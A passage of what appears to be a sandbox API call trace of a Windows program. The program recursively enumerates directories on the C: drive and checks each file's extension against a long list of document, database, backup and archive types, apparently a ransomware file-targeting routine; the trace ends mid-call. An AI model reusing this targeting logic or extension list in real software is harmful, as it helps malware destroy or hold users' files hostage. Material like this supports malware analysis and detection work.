ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0033.116] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.116] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a52f0 [0033.116] FindNextFileW (in: hFindFile=0x5a52f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.116] FindNextFileW (in: hFindFile=0x5a52f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.116] FindClose (in: hFindFile=0x5a52f0 | out: hFindFile=0x5a52f0) returned 1 [0033.116] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.116] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0033.117] FindClose (in: hFindFile=0x5a1da0 | out: hFindFile=0x5a1da0) returned 1 [0033.117] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38f06c8 | out: hHeap=0x4b0000) returned 1 [0033.117] FindNextFileW (in: hFindFile=0x501018, lpFindFileData=0x33dfd00 | out: lpFindFileData=0x33dfd00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0033.117] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0033.117] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a52f0 [0033.117] FindNextFileW (in: hFindFile=0x5a52f0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.117] FindNextFileW (in: hFindFile=0x5a52f0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0033.117] FindClose (in: hFindFile=0x5a52f0 | out: hFindFile=0x5a52f0) returned 1 [0033.117] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38f06c8 | out: hHeap=0x4b0000) returned 1 [0033.117] FindNextFileW (in: hFindFile=0x501018, lpFindFileData=0x33dfd00 | out: lpFindFileData=0x33dfd00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0033.117] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0033.117] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="\xddf0\x4f\x16")) returned 0xffffffff [0033.118] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38f06c8 | out: hHeap=0x4b0000) returned 1 [0033.118] FindNextFileW (in: hFindFile=0x501018, lpFindFileData=0x33dfd00 | out: lpFindFileData=0x33dfd00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0033.118] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0033.118] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a52f0 [0033.118] FindNextFileW (in: hFindFile=0x5a52f0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.119] FindNextFileW (in: hFindFile=0x5a52f0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0033.119] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.119] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a5330 [0033.121] FindNextFileW (in: hFindFile=0x5a5330, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.121] FindNextFileW (in: hFindFile=0x5a5330, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0033.121] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3ea0048 [0033.895] FindNextFileW (in: hFindFile=0x3ec0070, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.895] FindNextFileW (in: hFindFile=0x3ec0070, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0034.486] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.487] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0034.487] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f51090 [0034.487] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0034.487] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.487] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0034.488] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0034.488] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f51090 | out: hHeap=0x4b0000) returned 1 [0034.488] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0034.488] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0034.488] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f11080 | out: hHeap=0x4b0000) returned 1 [0034.488] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0034.488] FindClose (in: hFindFile=0x3ec0130 | out: hFindFile=0x3ec0130) returned 1 [0034.488] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0034.895] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0034.896] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec01f0 [0035.371] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.371] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0037.324] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x3f41088, Size=0x40000) returned 0x3fa1898 [0037.565] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02155_.WMF", cAlternateFileName="")) returned 1 [0037.565] lstrlenW (lpString="HH02155_.WMF") returned 12 [0037.565] lstrlenW (lpString=".1cd") returned 4 [0037.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0037.565] lstrlenW (lpString=".3ds") returned 4 [0037.565] lstrcmpiW (lpString1=".3ds", lpString2=".WMF") returned -1 [0037.565] lstrlenW (lpString=".3fr") returned 4 [0037.565] lstrcmpiW (lpString1=".3fr", lpString2=".WMF") returned -1 [0037.565] lstrlenW (lpString=".3g2") returned 4 [0037.565] lstrcmpiW (lpString1=".3g2", lpString2=".WMF") returned -1 [0037.565] lstrlenW (lpString=".3gp") returned 4 [0037.565] lstrcmpiW (lpString1=".3gp", lpString2=".WMF") returned -1 [0037.565] lstrlenW (lpString=".7z") returned 3 [0037.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0037.565] lstrlenW (lpString=".accda") returned 6 [0037.565] lstrcmpiW (lpString1=".accda", lpString2="5_.WMF") returned -1 [0037.565] lstrlenW (lpString=".accdb") returned 6 [0037.565] lstrcmpiW (lpString1=".accdb", lpString2="5_.WMF") returned -1 [0037.565] lstrlenW (lpString=".accdc") returned 6 [0037.566] lstrcmpiW (lpString1=".accdc", lpString2="5_.WMF") returned -1 [0037.566] lstrlenW (lpString=".accde") returned 6 [0037.566] lstrcmpiW (lpString1=".accde", lpString2="5_.WMF") returned -1 [0037.566] lstrlenW (lpString=".accdt") returned 6 [0037.566] lstrcmpiW (lpString1=".accdt", lpString2="5_.WMF") returned -1 [0037.566] lstrlenW (lpString=".accdw") returned 6 [0037.566] lstrcmpiW (lpString1=".accdw", lpString2="5_.WMF") returned -1 [0037.566] lstrlenW (lpString=".adb") returned 4 [0037.566] lstrcmpiW (lpString1=".adb", lpString2=".WMF") returned -1 [0037.566] lstrlenW (lpString=".adp") returned 4 [0037.566] lstrcmpiW (lpString1=".adp", lpString2=".WMF") returned -1 [0037.566] lstrlenW (lpString=".ai") returned 3 [0037.566] lstrcmpiW (lpString1=".ai", lpString2="WMF") returned -1 [0037.566] lstrlenW (lpString=".ai3") returned 4 [0037.566] lstrcmpiW (lpString1=".ai3", lpString2=".WMF") returned -1 [0037.566] lstrlenW (lpString=".ai4") returned 4 [0037.566] lstrcmpiW (lpString1=".ai4", lpString2=".WMF") returned -1 [0037.566] lstrlenW (lpString=".ai5") returned 4 [0037.566] lstrcmpiW (lpString1=".ai5", lpString2=".WMF") returned -1 [0037.566] lstrlenW (lpString=".ai6") returned 4 [0037.566] lstrcmpiW (lpString1=".ai6", lpString2=".WMF") returned -1 [0037.566] lstrlenW (lpString=".ai7") returned 4 [0037.566] lstrcmpiW (lpString1=".ai7", lpString2=".WMF") returned -1 [0037.566] lstrlenW (lpString=".ai8") returned 4 [0037.566] lstrcmpiW (lpString1=".ai8", lpString2=".WMF") returned -1 [0037.566] lstrlenW (lpString=".anim") returned 5 [0037.566] lstrcmpiW (lpString1=".anim", lpString2="_.WMF") returned -1 [0037.566] lstrlenW (lpString=".arw") returned 4 [0037.566] lstrcmpiW (lpString1=".arw", lpString2=".WMF") returned -1 [0037.566] lstrlenW (lpString=".as") returned 3 [0037.566] lstrcmpiW (lpString1=".as", lpString2="WMF") returned -1 [0037.566] lstrlenW (lpString=".asa") returned 4 [0037.566] lstrcmpiW (lpString1=".asa", lpString2=".WMF") returned -1 [0037.566] lstrlenW (lpString=".asc") returned 4 [0037.566] lstrcmpiW (lpString1=".asc", lpString2=".WMF") returned -1 [0037.567] lstrlenW (lpString=".ascx") returned 5 [0037.567] lstrcmpiW (lpString1=".ascx", lpString2="_.WMF") returned -1 [0037.567] lstrlenW (lpString=".asm") returned 4 [0037.567] lstrcmpiW (lpString1=".asm", lpString2=".WMF") returned -1 [0037.567] lstrlenW (lpString=".asmx") returned 5 [0037.567] lstrcmpiW (lpString1=".asmx", lpString2="_.WMF") returned -1 [0037.567] lstrlenW (lpString=".asp") returned 4 [0037.567] lstrcmpiW (lpString1=".asp", lpString2=".WMF") returned -1 [0037.567] lstrlenW (lpString=".aspx") returned 5 [0037.567] lstrcmpiW (lpString1=".aspx", lpString2="_.WMF") returned -1 [0037.567] lstrlenW (lpString=".asr") returned 4 [0037.567] lstrcmpiW (lpString1=".asr", lpString2=".WMF") returned -1 [0037.567] lstrlenW (lpString=".asx") returned 4 [0037.567] lstrcmpiW (lpString1=".asx", lpString2=".WMF") returned -1 [0037.567] lstrlenW (lpString=".avi") returned 4 [0037.567] lstrcmpiW (lpString1=".avi", lpString2=".WMF") returned -1 [0037.567] lstrlenW (lpString=".avs") returned 4 [0037.567] lstrcmpiW (lpString1=".avs", lpString2=".WMF") returned -1 [0037.567] lstrlenW (lpString=".backup") returned 7 [0037.567] lstrcmpiW (lpString1=".backup", lpString2="55_.WMF") returned -1 [0037.567] lstrlenW (lpString=".bak") returned 4 [0037.567] lstrcmpiW (lpString1=".bak", lpString2=".WMF") returned -1 [0037.567] lstrlenW (lpString=".bay") returned 4 [0037.567] lstrcmpiW (lpString1=".bay", lpString2=".WMF") returned -1 [0037.567] lstrlenW (lpString=".bd") returned 3 [0037.567] lstrcmpiW (lpString1=".bd", lpString2="WMF") returned -1 [0037.567] lstrlenW (lpString=".bin") returned 4 [0037.567] lstrcmpiW (lpString1=".bin", lpString2=".WMF") returned -1 [0037.567] lstrlenW (lpString=".bmp") returned 4 [0037.567] lstrcmpiW (lpString1=".bmp", lpString2=".WMF") returned -1 [0037.567] lstrlenW (lpString=".bz2") returned 4 [0037.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0037.567] lstrlenW (lpString=".c") returned 2 [0037.567] lstrcmpiW (lpString1=".c", lpString2="MF") returned -1 [0037.567] lstrlenW (lpString=".cdr") returned 4 [0037.567] lstrcmpiW (lpString1=".cdr", lpString2=".WMF") returned -1 [0037.568] lstrlenW (lpString=".cer") returned 4 [0037.568] lstrcmpiW (lpString1=".cer", lpString2=".WMF") returned -1 [0037.568] lstrlenW (lpString=".cf") returned 3 [0037.568] lstrcmpiW (lpString1=".cf", lpString2="WMF") returned -1 [0037.568] lstrlenW (lpString=".cfc") returned 4 [0037.568] lstrcmpiW (lpString1=".cfc", lpString2=".WMF") returned -1 [0037.568] lstrlenW (lpString=".cfm") returned 4 [0037.568] lstrcmpiW (lpString1=".cfm", lpString2=".WMF") returned -1 [0037.568] lstrlenW (lpString=".cfml") returned 5 [0037.568] lstrcmpiW (lpString1=".cfml", lpString2="_.WMF") returned -1 [0037.568] lstrlenW (lpString=".cfu") returned 4 [0037.568] lstrcmpiW (lpString1=".cfu", lpString2=".WMF") returned -1 [0037.568] lstrlenW (lpString=".chm") returned 4 [0037.568] lstrcmpiW (lpString1=".chm", lpString2=".WMF") returned -1 [0037.568] lstrlenW (lpString=".cin") returned 4 [0037.568] lstrcmpiW (lpString1=".cin", lpString2=".WMF") returned -1 [0037.568] lstrlenW (lpString=".class") returned 6 [0037.568] lstrcmpiW (lpString1=".class", lpString2="5_.WMF") returned -1 [0037.568] lstrlenW (lpString=".clx") returned 4 [0037.568] lstrcmpiW (lpString1=".clx", lpString2=".WMF") returned -1 [0037.568] lstrlenW (lpString=".config") returned 7 [0037.568] lstrcmpiW (lpString1=".config", 